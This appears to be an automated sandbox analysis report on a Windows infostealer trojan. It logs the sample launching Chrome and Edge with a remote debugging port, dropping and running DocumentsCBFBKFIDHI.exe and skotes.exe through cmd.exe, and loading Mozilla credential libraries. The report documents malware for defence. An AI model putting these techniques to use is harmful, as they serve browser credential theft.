Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5260A0	0_2_6C5260A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C51A940	0_2_6C51A940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C54B970	0_2_6C54B970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C56B170	0_2_6C56B170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C50D960	0_2_6C50D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C535190	0_2_6C535190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C552990	0_2_6C552990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C52D9B0	0_2_6C52D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4FC9A0	0_2_6C4FC9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C539A60	0_2_6C539A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C538AC0	0_2_6C538AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C511AF0	0_2_6C511AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C53E2F0	0_2_6C53E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C56BA90	0_2_6C56BA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C50CAB0	0_2_6C50CAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C562AB0	0_2_6C562AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4F22A0	0_2_6C4F22A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C524AA0	0_2_6C524AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4F5340	0_2_6C4F5340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C50C370	0_2_6C50C370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C53D320	0_2_6C53D320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5653C8	0_2_6C5653C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4FF380	0_2_6C4FF380
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00547049	25_2_00547049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00548860	25_2_00548860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_005478BB	25_2_005478BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00542D10	25_2_00542D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_0050E530	25_2_0050E530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00504DE0	25_2_00504DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_005431A8	25_2_005431A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00504B30	25_2_00504B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00537F36	25_2_00537F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_0054779B	25_2_0054779B

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C52CBE8 appears 134 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C5394D0 appears 90 times

Source: file.exe, 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2611923656.000000006C775000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: vadppzyc ZLIB complexity 0.9946578557312253
Source: random[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.9978286784741145
Source: random[1].exe.0.dr	Static PE information: Section: iqclzlke ZLIB complexity 0.9945920801526718
Source: DocumentsCBFBKFIDHI.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9978286784741145
Source: DocumentsCBFBKFIDHI.exe.0.dr	Static PE information: Section: iqclzlke ZLIB complexity 0.9945920801526718
Source: skotes.exe.21.dr	Static PE information: Section: ZLIB complexity 0.9978286784741145
Source: skotes.exe.21.dr	Static PE information: Section: iqclzlke ZLIB complexity 0.9945920801526718

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@72/288@24/26

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C557030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C557030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\W9TWL89H.htm

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7920:120:WilError_03

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\c3ef172b-f5a6-4087-9a41-9a330bbd4f72.tmp

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2611648980.000000006C72F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2599021265.000000001DA14000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2610437039.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2611648980.000000006C72F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2599021265.000000001DA14000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2610437039.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2611648980.000000006C72F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2599021265.000000001DA14000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2610437039.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2611648980.000000006C72F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2599021265.000000001DA14000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2610437039.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.2611648980.000000006C72F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2599021265.000000001DA14000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2610437039.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2611648980.000000006C72F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2599021265.000000001DA14000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2610437039.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000000.00000002.2599021265.000000001DA14000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2610437039.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2335691813.000000001D909000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2235726890.0000000001659000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2245309825.000000001D915000.00000004.00000020.00020000.00000000.sdmp, BFCGDAAKFHIDBFIDBKFH.0.dr, IDHJEBGIEBFIJKEBFBFH.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2599021265.000000001DA14000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2610437039.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2599021265.000000001DA14000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2610437039.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 39%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: DocumentsCBFBKFIDHI.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2396 --field-trial-handle=1996,i,7598340641640299778,11731327301432506273,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2412 --field-trial-handle=2132,i,11324850078765124720,12567170462925455737,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2228 --field-trial-handle=1976,i,9557250745815057177,7435731605409669520,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6628 --field-trial-handle=1976,i,9557250745815057177,7435731605409669520,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6848 --field-trial-handle=1976,i,9557250745815057177,7435731605409669520,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsCBFBKFIDHI.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsCBFBKFIDHI.exe "C:\Users\user\DocumentsCBFBKFIDHI.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=4804 --field-trial-handle=1976,i,9557250745815057177,7435731605409669520,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsCBFBKFIDHI.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2396 --field-trial-handle=1996,i,7598340641640299778,11731327301432506273,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2412 --field-trial-handle=2132,i,11324850078765124720,12567170462925455737,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2228 --field-trial-handle=1976,i,9557250745815057177,7435731605409669520,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6628 --field-trial-handle=1976,i,9557250745815057177,7435731605409669520,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6848 --field-trial-handle=1976,i,9557250745815057177,7435731605409669520,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=4804 --field-trial-handle=1976,i,9557250745815057177,7435731605409669520,262144 /prefetch:8
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsCBFBKFIDHI.exe "C:\Users\user\DocumentsCBFBKFIDHI.exe"
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	Section loaded: winmm.dll
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	Section loaded: wininet.dll
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	Section loaded: sspicli.dll
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	Section loaded: mstask.dll
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	Section loaded: wldp.dll
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	Section loaded: mpr.dll
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	Section loaded: dui70.dll
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	Section loaded: duser.dll
